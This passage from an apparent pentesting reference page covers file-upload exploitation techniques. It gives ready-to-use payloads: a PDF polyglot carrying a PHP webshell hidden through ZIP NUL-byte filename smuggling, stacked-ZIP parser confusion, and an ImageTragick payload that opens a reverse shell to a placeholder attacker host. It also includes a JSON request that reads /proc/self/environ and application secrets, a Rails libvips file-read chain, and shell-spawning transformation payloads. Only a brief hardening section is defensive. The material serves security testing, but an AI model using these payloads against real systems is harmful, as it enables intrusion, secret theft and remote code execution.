 ### ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
 
 When a backend validates ZIP entries using PHP’s ZipArchive but extraction writes to the filesystem using raw names, you can smuggle a disallowed extension by inserting a NUL (0x00) into the filename fields. ZipArchive treats the entry name as a C‑string and truncates at the first NUL; the filesystem writes the full name, dropping everything after the NUL.<sup>[[19]](#references)</sup>
 
 High-level flow:
 - Prepare a legitimate container file (e.g., a valid PDF) that embeds a tiny PHP stub in a stream so the magic/MIME stays a PDF.
 - Name it like `shell.php..pdf`, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first `.` after `.php` with `0x00`, resulting in `shell.php\x00.pdf`.
 - Validators that rely on ZipArchive will “see” `shell.php .pdf` and allow it; the extractor writes `shell.php` to disk, leading to RCE if the upload folder is executable.
 
 Minimal PoC steps:
 ```bash
 # 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
 printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
 
 # 2) Trick name and zip
 cp embedded.pdf shell.php..pdf
 zip null.zip shell.php..pdf
 
 # 3) Hex-edit both the local header and central directory filename fields
 #    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
 #    Tools: hexcurse, bless, bvi, wxHexEditor, etc.
 
 # 4) Local validation behavior
 php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
 # -> shows truncated at NUL (looks like ".pdf" suffix)
 ```
 
 Notes
 - Change BOTH filename occurrences (local and central directory). Some tools add an extra data descriptor entry too – adjust all name fields if present.
 - The payload file must still pass server‑side magic/MIME sniffing. Embedding the PHP in a PDF stream keeps the header valid.
 - Works where the enum/validation path and the extraction/write path disagree on string handling.
 
 ### Stacked/concatenated ZIPs (parser disagreement)
 
 Concatenating two valid ZIP files produces a blob where different parsers focus on different EOCD records. Many tools locate the last End Of Central Directory (EOCD), while some libraries (e.g., ZipArchive in specific workflows) may parse the first archive they find. If validation enumerates the first archive and extraction uses another tool that honors the last EOCD, a benign archive can pass checks while a malicious one gets extracted.<sup>[[19]](#references)</sup>
 
 PoC:
 ```bash
 # Build two separate archives
 printf test > t1; printf test2 > t2
 zip zip1.zip t1; zip zip2.zip t2
 
 # Stack them
 cat zip1.zip zip2.zip > combo.zip
 
 # Different views
 unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
 php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
 ```
 
 Abuse pattern
 - Create a benign archive (allowed type, e.g., a PDF) and a second archive containing a blocked extension (e.g., `shell.php`).
 - Concatenate them: `cat benign.zip evil.zip > combined.zip`.
 - If the server validates with one parser (sees benign.zip) but extracts with another (processes evil.zip), the blocked file lands in the extraction path.
 
 ## ImageTragic
 
 Upload this content with an image extension to exploit the vulnerability **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
 
 ```text
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
 
 ## Embedding PHP Shell on PNG
 
 Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases.
 
 A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications.<sup>[[7]](#references)</sup>
 
 More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)<sup>[[7]](#references)</sup>
 
 ## Polyglot Files
 
 Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible.
 
 The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions.
 
 Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.<sup>[[8]](#references)</sup>
 
 More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)<sup>[[8]](#references)</sup>
 
 ### Upload valid JSONs like if it was PDF
 
 How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):<sup>[[9]](#references)</sup>
 
 - **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post)
 - **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post)
 - **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF
 
 ### Content-Type confusion to arbitrary file read
 
 Some upload handlers **trust the parsed request body** (e.g., `context.getBodyData().files`) and later **copy the file from `file.filepath`** without first enforcing `Content-Type: multipart/form-data`. If the server accepts `application/json`, you can supply a fake `files` object pointing `filepath` to **any local path**, turning the upload flow into an arbitrary file read primitive.<sup>[[1]](#references)</sup>
 
 Example POST against a form workflow returning the uploaded binary in the HTTP response:
 
 ```http
 POST /form/vulnerable-form HTTP/1.1
 Host: target
 Content-Type: application/json
 
 {
   "files": {
     "document": {
       "filepath": "/proc/self/environ",
       "mimetype": "image/png",
       "originalFilename": "x.png"
     }
   }
 }
 ```
 
 Backend copies `file.filepath`, so the response returns that path’s content. Common chain: read `/proc/self/environ` to learn `$HOME`, then `$HOME/.n8n/config` for keys and `$HOME/.n8n/database.sqlite` for user identifiers.
 
 
 ### Ruby on Rails Active Storage + libvips parser confusion → arbitrary file read
 
 A useful upload pattern to test is: **the application stores an attacker-controlled MIME type before inspecting bytes, then a later image-processing step trusts that metadata and lets a backend parser sniff the real format**.<sup>[[22]](#references)</sup>
 
 In **Rails Active Storage direct uploads**, the blob record can be created with attacker-controlled `content_type` **before** the file is inspected. If later code only checks whether the stored type is inside the image allowlist (for example `image/png`), a non-image file can still reach the variant/analyzer pipeline.<sup>[[22]](#references)</sup><sup>[[23]](#references)</sup>
 
 Useful checks:
 
 - **Pre-upload metadata trust:** Can you create the upload/blob/database record first and persist `content_type=image/png` (or another transformable type) without server-side MIME re-identification?
 - **Independently signed processing tokens:** If the app verifies a blob/object identifier and a processing token separately, test whether a legitimate token from one object can be replayed against a malicious upload.
 - **Backend parser disagreement:** Compare the outer file sniffer with the deeper parser. A short magic-byte check in layer 1 plus version/offset-based parsing in layer 2 is a strong **polyglot/parser-confusion** candidate.
 
 One practical Rails chain abused `image_processing` + `vips` leaving loader selection to libvips. libvips `matload` only checked bytes `0-9` for `MATLAB 5.0`, while libmatio selected **MAT 7.3** from bytes `124-125`. A crafted file could therefore:
 
 - start with `MATLAB 5.0` to satisfy libvips,
 - set bytes `124-127` to a valid MAT 7.3 version/endian marker,
 - place a real HDF5 superblock after a **512-byte userblock**,
 - and use **HDF5 external dataset storage** to read bytes from an attacker-chosen path and offset.<sup>[[22]](#references)</sup>
 
 This turns the image processor into an **arbitrary file-read oracle**. Good targets are `/proc/self/environ`, `config/master.key`, encrypted credentials, or other files readable by the web worker. If the application returns the generated image, file bytes may come back as pixels; if not, analyzer metadata can still become a lower-bandwidth exfil channel.
 
 Related pages:
 - [Ruby Tricks](/hacktricks/network-services-pentesting/pentesting-web/ruby-tricks)
 - [ImageMagick Security](/hacktricks/network-services-pentesting/pentesting-web/imagemagick-security)
 
 ### From file read to signed-operation abuse
 
 Once you can read application secrets, validate candidate signing material against a genuine signed value from the app (for Rails, a real signed blob/token is ideal). If the image-processing pipeline later applies attacker-influenced transformation names with dynamic dispatch such as `public_send(name, *argument)`, recovered signing authority may become RCE.<sup>[[22]](#references)</sup><sup>[[24]](#references)</sup><sup>[[25]](#references)</sup>
 
 Example JSON-compatible transformation shapes:
 
 ```json
 {"send":["spawn","/bin/sh","-c","id"]}
 {"send":["eval","File.write('/tmp/kr2s', %x{id})"]}
 ```
 
 Even if the HTTP response returns `500`, the payload may already have executed while the processing chain was being built.
 
 ### Detection / hardening notes
 
 - Flag files whose first bytes claim `MATLAB 5.0` but whose bytes `124-127` carry a **MAT 7.3** version/endian tag.
 - Re-identify MIME types **server-side after upload**, not only from pre-upload metadata.
 - Bind signed processing options to the specific blob/object they are meant for.
 - For libvips-backed processing of untrusted uploads, block operations marked untrusted (for example via `Vips.block_untrusted(true)`).
 
 ## References
 
 - [1] [n8n form upload Content-Type confusion → arbitrary file read PoC](https://github.com/Chocapikk/CVE-2026-21858)
 - [2] [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
 - [3] [PayloadsAllTheThings - Upload Insecure Files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
 - [4] [mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
 - [5] [fuxploider - File upload vulnerability scanner and exploitation tool](https://github.com/almandin/fuxploider)
 - [6] [uWSGI RCE Exploitation - A new vector for "dirty arbitrary file write" 2 RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
 - [7] [Encoding Web Shells in PNG IDAT chunks](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 - [8] [Polyglot Files: A Hacker's Best Friend](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 - [9] [CSPT + File Upload = RCE](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
 - [10] [usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)](https://herolab.usd.de/security-advisories/usd-2023-0025/)
 - [11] [NVD – CVE-2023-45878](https://nvd.nist.gov/vuln/detail/CVE-2023-45878)
 - [12] [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
 - [13] [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
 - [14] [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
 - [15] [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
 - [16] [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
 - [17] [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
 - [18] [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
 - [19] [0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)](https://0xdf.gitlab.io/2025/10/04/htb-certificate.html)
 - [20] [When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise](https://www.rcesecurity.com/2026/02/when-audits-fail-from-pre-auth-ssrf-to-rce-in-trufusion-enterprise/)
 - [21] [HackerOne report 3712279 – Burp Suite Professional browser-powered crawler file input path traversal leading to arbitrary file write and delayed code execution](https://hackerone.com/reports/3712279)
 - [22] [Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)](https://rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066)
 - [23] [Rails security advisory GHSA-xr9x-r78c-5hrm](https://github.com/rails/rails/security/advisories/GHSA-xr9x-r78c-5hrm)
 - [24] [rails/rails#56995 – Active Storage Vips transformation validation discussion](https://github.com/rails/rails/pull/56995)
 - [25] [Rapid7 Metasploit module: rails_activestorage_vips_rce](https://github.com/rapid7/metasploit-framework/pull/21733)
 - [26] [Persistent PHP payloads in PNGs: How to inject PHP code in an image – and keep it there!](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
 - [27] [Compressed file upload and command execution](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)